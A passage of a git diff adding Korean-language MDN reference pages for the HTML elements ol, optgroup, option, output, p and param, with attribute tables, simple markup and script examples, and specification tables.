+  &lt;li&gt;first item&lt;/li&gt;
+  &lt;li&gt;second item&lt;/li&gt;
+  &lt;li&gt;third item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("간단한_예제", 400, 100)}}</p>
+
+<h3 id="로마_숫자로_표기">로마 숫자로 표기</h3>
+
+<pre class="brush: html">&lt;ol type="i"&gt;
+  &lt;li&gt;Introduction&lt;/li&gt;
+  &lt;li&gt;List of Greivances&lt;/li&gt;
+  &lt;li&gt;Conclusion&lt;/li&gt;
+&lt;/ol&gt; </pre>
+
+<p>{{EmbedLiveSample("로마_숫자로_표기", 400, 100)}}</p>
+
+<h3 id="start_특성_사용하기"><code>start</code> 특성 사용하기</h3>
+
+<pre class="brush: html">&lt;p&gt;Finishing places of contestants not in the winners’ circle:&lt;/p&gt;
+
+&lt;ol start="4"&gt;
+  &lt;li&gt;Speedwalk Stu&lt;/li&gt;
+  &lt;li&gt;Saunterin’ Sam&lt;/li&gt;
+  &lt;li&gt;Slowpoke Rodriguez&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("start_특성_사용하기", 400, 100)}}</p>
+
+<h3 id="중첩_목록">중첩 목록</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;first item&lt;/li&gt;
+  &lt;li&gt;second item  &lt;!-- closing &lt;/li&gt; tag not here! --&gt;
+    &lt;ol&gt;
+      &lt;li&gt;second item first subitem&lt;/li&gt;
+      &lt;li&gt;second item second subitem&lt;/li&gt;
+      &lt;li&gt;second item third subitem&lt;/li&gt;
+    &lt;/ol&gt;
+  &lt;/li&gt;            &lt;!-- Here's the closing &lt;/li&gt; tag --&gt;
+  &lt;li&gt;third item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("중첩_목록", 400, 150)}}</p>
+
+<h3 id="정렬_목록_안의_비정렬_목록">정렬 목록 안의 비정렬 목록</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;first item&lt;/li&gt;
+  &lt;li&gt;second item      &lt;!-- Look, the closing &lt;/li&gt; tag is not placed here! --&gt;
+    &lt;ul&gt;
+      &lt;li&gt;second item first subitem&lt;/li&gt;
+      &lt;li&gt;second item second subitem&lt;/li&gt;
+      &lt;li&gt;second item third subitem&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;                &lt;!-- Here is the closing &lt;/li&gt; tag --&gt;
+  &lt;li&gt;third item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("정렬_목록_안의_비정렬_목록", 400, 150)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-ol-element', '&lt;ol&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-ol-element", "HTMLOListElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.2', '&lt;ol&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.ol")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>리스트 관련 다른 요소: {{HTMLElement("ul")}}, {{HTMLElement("li")}}, {{HTMLElement("menu")}}</li>
+ <li><code>&lt;ol&gt;</code> 요소와 유용하게 사용할 수 있는 CSS 속성
+  <ul>
+   <li>서수를 표현할 방식을 지정하는 {{cssxref("list-style")}} 속성.</li>
+   <li>복잡한 중첩 목록을 처리하기 위한 <a href="/ko/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS 카운터</a></li>
+   <li>더 이상 사용하지 않는 <code>compact</code> 특성을 대체할 수 있는 {{cssxref("line-height")}}</li>
+   <li>항목의 들여쓰기를 조정하기 위한 {{cssxref("margin")}} 속성.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/optgroup/index.html b/files/ko/web/html/element/optgroup/index.html
new file mode 100644
index 0000000000..b735d6ec1b
--- /dev/null
+++ b/files/ko/web/html/element/optgroup/index.html
@@ -0,0 +1,120 @@
+---
+title: <optgroup>
+slug: Web/HTML/Element/optgroup
+tags:
+  - Element
+  - Forms
+  - HTML
+  - HTML forms
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/optgroup
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;optgroup&gt;</code> 요소</strong>는 {{HTMLElement("select")}} 요소의 옵션을 묶을 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/optgroup.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>0개 이상의 {{htmlelement("option")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그는 필수입니다. 바로 뒤따르는 요소가 다른 <code>&lt;optgroup&gt;</code>이거나, 자신이 부모의 마지막 자식이라면 닫는 태그를 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{HTMLElement("select")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLOptGroupElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>&lt;optgroup&gt;</code> 요소는 중첩할 수 없습니다.</p>
+</div>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>지정한 경우 모든 하위 옵션을 선택할 수 없습니다. 브라우저에서, 비활성화 옵션은 주로 회색으로 보이며, 클릭과 포커스 등 모든 이벤트를 받지 않습니다.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>옵션 그룹의 이름. 브라우저가 그룹의 이름을 표시할 때 사용할 수 있습니다. 필수로 지정해야 합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;select&gt;
+  &lt;optgroup label="Group 1"&gt;
+    &lt;option&gt;Option 1.1&lt;/option&gt;
+  &lt;/optgroup&gt;
+  &lt;optgroup label="Group 2"&gt;
+    &lt;option&gt;Option 2.1&lt;/option&gt;
+    &lt;option&gt;Option 2.2&lt;/option&gt;
+  &lt;/optgroup&gt;
+  &lt;optgroup label="Group 3" disabled&gt;
+    &lt;option&gt;Option 3.1&lt;/option&gt;
+    &lt;option&gt;Option 3.2&lt;/option&gt;
+    &lt;option&gt;Option 3.3&lt;/option&gt;
+  &lt;/optgroup&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-optgroup-element', '&lt;optgroup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-optgroup-element', '&lt;optgroup&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;optgroup&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.optgroup")}}</p>
diff --git a/files/ko/web/html/element/option/index.html b/files/ko/web/html/element/option/index.html
new file mode 100644
index 0000000000..8120464d9f
--- /dev/null
+++ b/files/ko/web/html/element/option/index.html
@@ -0,0 +1,101 @@
+---
+title: <option>
+slug: Web/HTML/Element/option
+tags:
+  - Element
+  - Forms
+  - HTML
+  - HTML forms
+  - Reference
+translation_of: Web/HTML/Element/option
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;option&gt;</code> 요소</strong>는 {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("datalist")}} 요소의 항목을 정의합니다.</span> 그러므로, <code>&lt;option&gt;</code>을 사용해 팝업 메뉴 등 목록에서 하나의 항목을 나타낼 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/option.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>텍스트. 이스케이프 처리한 문자(<code>&amp;eacute;</code> 등)도 가능.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그는 필수입니다. 바로 뒤따르는 요소가 {{htmlelement("optgroup")}}, 다른 <code>&lt;option&gt;</code>이거나, 자신이 부모의 마지막 자식이라면 닫는 태그를 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("datalist")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLOptionElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>지정한 경우 이 옵션을 선택할 수 없습니다. 브라우저에서, 비활성화 옵션은 주로 회색으로 보이며, 클릭과 포커스 등 모든 이벤트를 받지 않습니다. <code>&lt;option&gt;</code>에 <code>disabled</code> 특성을 추가하지 않더라도, {{HTMLElement("optgroup")}} 등 조상 요소로 인해 비활성화될 수 있습니다.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>옵션의 뜻을 나타내는 텍스트. 지정하지 않은 경우, 요소의 텍스트 콘텐츠를 대신 사용합니다.</dd>
+ <dt>{{htmlattrdef("selected")}}</dt>
+ <dd>지정한 경우 초기에 이 옵션을 선택한 상태로 설정합니다. {{htmlattrxref("multiple", "select")}}를 지정하지 않은 {{HTMLElement("select")}} 요소의 자손인 경우, 하나의 <code>&lt;option&gt;</code>만 <code>selected</code> 특성을 가질 수 있습니다.</dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>양식 데이터를 구성할 때 사용할 값. 지정하지 않은 경우, 요소의 텍스트 콘텐츠를 대신 사용합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>{{HTMLElement("select")}} 요소를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-option-element', '&lt;option&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-option-element', '&lt;option&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;option&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.option")}}</p>
diff --git a/files/ko/web/html/element/output/index.html b/files/ko/web/html/element/output/index.html
new file mode 100644
index 0000000000..24e154783d
--- /dev/null
+++ b/files/ko/web/html/element/output/index.html
@@ -0,0 +1,104 @@
+---
+title: '<output>: 출력 요소'
+slug: Web/HTML/Element/output
+tags:
+  - Element
+  - HTML
+  - HTML forms
+  - 'HTML:Flow content'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/output
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;output&gt;</code> 요소</strong>는 웹 사이트나 앱에서 계산이나 사용자 행동의 결과를 삽입할 수 있는 컨테이너 요소입니다.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#양식_관련_콘텐츠">양식 관련 콘텐츠</a>(나열됨, 레이블 가능, 초기화 가능), 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLOutputElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("for")}}</dt>
+ <dd>스페이스로 구분한, 다른 여러 요소 {{htmlattrxref("id")}}의 목록. 목록에 포함된 요소가 출력 결과에 공헌했거나 영향을 주었음을 나타냅니다.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd><code>&lt;output&gt;</code>과 연결할 {{HTMLElement("form")}} 요소("양식 소유자"). 같은 문서에 존재하는 <code>&lt;form&gt;</code> 요소의 {{htmlattrxref("id")}} 특성 값을 사용해야 합니다. <code>form</code> 특성을 지정하지 않았으나 조상 중 <code>&lt;form&gt;</code> 요소가 존재하면 해당 <code>&lt;form&gt;</code>과 연결됩니다.</dd>
+ <dd><code>form</code> 특성을 사용하면 <code>&lt;output&gt;</code>을 <code>&lt;form&gt;</code> 요소에 넣지 않고도 연결할 수 있고, 조상 중 <code>&lt;form&gt;</code>이 있더라도 소유자를 재정의할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>요소의 이름. {{domxref("HTMLFormElement.elements", "form.elements")}} API에서 사용합니다.</dd>
+</dl>
+
+<p><code>&lt;output&gt;</code>의 값, 이름, 콘텐츠는 양식 전송 시 제출되지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;form oninput="result.value=parseInt(a.value)+parseInt(b.value)"&gt;
+  &lt;input type="range" id="b" name="b" value="50" /&gt; +
+  &lt;input type="number" id="a" name="a" value="10" /&gt; =
+  &lt;output name="result" for="a b"&gt;60&lt;/output&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('예제')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>많은 브라우저는 <code>&lt;output&gt;</code>을 마치 <code><a href="/ko/docs/Web/Accessibility/ARIA/ARIA_Live_Regions">aria-live</a></code> 특성이 존재하는 것처럼 구현합니다. 따라서 접근성 기술은 포커스가 바뀌지 않더라도 <code>&lt;output&gt;</code> 내부의 UI 상호작용 결과를 표현할 것입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-output-element', '&lt;output&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-output-element', '&lt;output&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.output")}}</p>
diff --git a/files/ko/web/html/element/p/index.html b/files/ko/web/html/element/p/index.html
new file mode 100644
index 0000000000..9a993c089e
--- /dev/null
+++ b/files/ko/web/html/element/p/index.html
@@ -0,0 +1,175 @@
+---
+title: <p>
+slug: Web/HTML/Element/p
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/p
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;p&gt;</code> 요소</strong>는 하나의 문단을 나타냅니다.</span> 시각적인 매체에서, 문단은 보통 인접 블록과의 여백과 첫 줄의 들여쓰기로 구분하지만, HTML에서 문단은 이미지나 입력 폼 등 서로 관련있는 콘텐츠 무엇이나 될 수 있습니다.</p>
+
+<p>문단은 블록 레벨 요소이며, 자신의 닫는 태그(<code>&lt;/p&gt;</code>) 이전에 다른 블록 레벨 태그가 분석되면 자동으로 닫힙니다. 아래의 "태그 생략" 항목을 참고하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/p.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>시작 태그는 필수입니다. 닫는 태그는 {{HTMLElement("p")}} 요소의 바로 뒤에 {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hr")}}, {{HTMLElement("menu")}}, {{HTMLElement("nav")}}, {{HTMLElement("ol")}}, {{HTMLElement("pre")}}, {{HTMLElement("section")}}, {{HTMLElement("table")}}, {{HTMLElement("ul")}}, {{HTMLElement("p")}} 요소가 위치하는 경우, 또는 부모 태그의 콘텐츠가 더 존재하지 않고 부모가 {{HTMLElement("a")}} 요소가 아닐 때 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLParagraphElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;첫 번째 문단입니다.
+  첫 번째 문단입니다.
+  첫 번째 문단입니다.
+  첫 번째 문단입니다.&lt;/p&gt;
+&lt;p&gt;두 번째 문단입니다.
+  두 번째 문단입니다.
+  두 번째 문단입니다.
+  두 번째 문단입니다.&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="문단_꾸미기">문단 꾸미기</h2>
+
+<p>브라우저 기본 스타일은 문단끼리 한 줄의 간격으로 분리합니다. 첫 줄 들여쓰기 등 다른 구분 방법은 {{glossary("CSS")}}를 통해 사용할 수 있습니다.</p>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;독자 입장에선 문단 사이를 여백으로 구분하는게 제일 읽기 쉽지만,
+첫 줄 들여쓰기로도 구분할 수 있습니다. 들여쓰기는 보통 인쇄매체에서
+공간과 종이를 아끼기 위해 사용합니다.&lt;/p&gt;
+
+&lt;p&gt;학교 과제나 초안 등 나중에 편집할 글은 여백과 들여쓰기 둘 다 사용합니다.
+그러나 완성한 글에 둘 다 사용하는건 불필요하고 초보적으로 여겨집니다.&lt;/p&gt;
+
+&lt;p&gt;아주 오래된 글에서는 문단을 특수기호 ¶, &lt;i&gt;필크로&lt;/i&gt;(단락 기호)로
+구분했습니다. 그러나 답답하고 읽기 힘들어 지금은 사용하지 않습니다.&lt;/p&gt;
+
+&lt;p&gt;얼마나 읽기 힘들까요? 직접 알아보세요.
+  &lt;button data-toggle-text="안돼! 다시 돌려놔요!"&gt;단락 기호 써보기&lt;/button&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  margin: 0;
+  text-indent: 3ch;
+}
+
+p.pilcrow {
+   text-indent: 0;
+   display: inline;
+}
+p.pilcrow + p.pilcrow::before {
+  content: " ¶ ";
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.querySelector('button').addEventListener('click', function (event) {
+  document.querySelectorAll('p').forEach(function (paragraph) {
+    paragraph.classList.toggle('pilcrow');
+  });
+  var newButtonText = event.target.dataset.toggleText;
+  var oldText = event.target.innerText;
+  event.target.innerText = newButtonText;
+  event.target.dataset.toggleText = oldText;
+});</pre>
+
+<h3 id="결과_2">결과</h3>
+
+<p>{{EmbedLiveSample('문단_꾸미기')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>콘텐츠를 문단으로 나누면 페이지의 접근성을 높입니다. 스크린 리더 등 보조 기술은 다음 문단으로 넘어갈 수 있는 단축키 등을 제공하므로, 시각적 매체의 여백이 사용자의 빠른 콘텐츠 탐색을 돕는 것과 같은 효과를 얻을 수 있습니다.</p>
+
+<p>빈 <code>&lt;p&gt;</code> 요소를 사용해 문단 사이에 여백을 추가하면 스크린 리더 사용자에게 부정적인 경험을 줄 수 있습니다. 스크린 리더가 문단의 존재는 알려주겠지만, 더 읽을 내용이 없기 때문입니다. 따라서 스크린 리더 사용자가 혼란을 느낄 수 있습니다.</p>
+
+<p>여분의 공간이 필요하다면 {{cssxref("margin")}} 등 {{glossary("CSS")}} 속성을 통해 적용하세요.</p>
+
+<pre class="brush: html">p {
+  margin-bottom: 2em; // 문단 다음 여백을 늘림
+}</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-p-element', '&lt;p&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-p-element', '&lt;p&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.1', '&lt;p&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.p")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("hr")}}</li>
+ <li>{{HTMLElement("br")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/param/index.html b/files/ko/web/html/element/param/index.html
new file mode 100644
index 0000000000..73cc02c32f
--- /dev/null
+++ b/files/ko/web/html/element/param/index.html
@@ -0,0 +1,116 @@
+---
+title: '<param>: 객체 매개변수 요소'
+slug: Web/HTML/Element/param
+tags:
+  - Element
+  - HTML
+  - HTML embedded content
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/param
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;param&gt;</code> 요소</strong>는 {{HTMLElement("object")}} 요소의 매개변수를 정의합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리 </a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>없음. {{Glossary("empty element", "빈 요소")}}입니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{HTMLElement("object")}}. 모든 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a> 이전에 위치해야 함.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLParamElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>매개변수의 이름.</dd>
+ <dt>{{ htmlattrdef("value") }}</dt>
+ <dd>매개변수의 값.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("type")}} {{deprecated_inline}}</dt>
+ <dd>Only used if the <code>valuetype</code> is set to <code>ref</code>. Specifies the MIME type of values found at the URI specified by value.</dd>
+ <dt>{{htmlattrdef("valuetype")}} {{deprecated_inline}}</dt>
+ <dd>Specifies the type of the <code>value</code> attribute. Possible values are:
+ <ul>
+  <li><code>data</code>: Default value. The value is passed to the object's implementation as a string.</li>
+  <li><code>ref</code>: The value is a URI to a resource where run-time values are stored.</li>
+  <li><code>object</code>: An ID of another {{HTMLElement("object")}} in the same document.</li>
+ </ul>
+ </dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>{{HTMLElement("object")}} 페이지의 예제를 확인해주세요.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
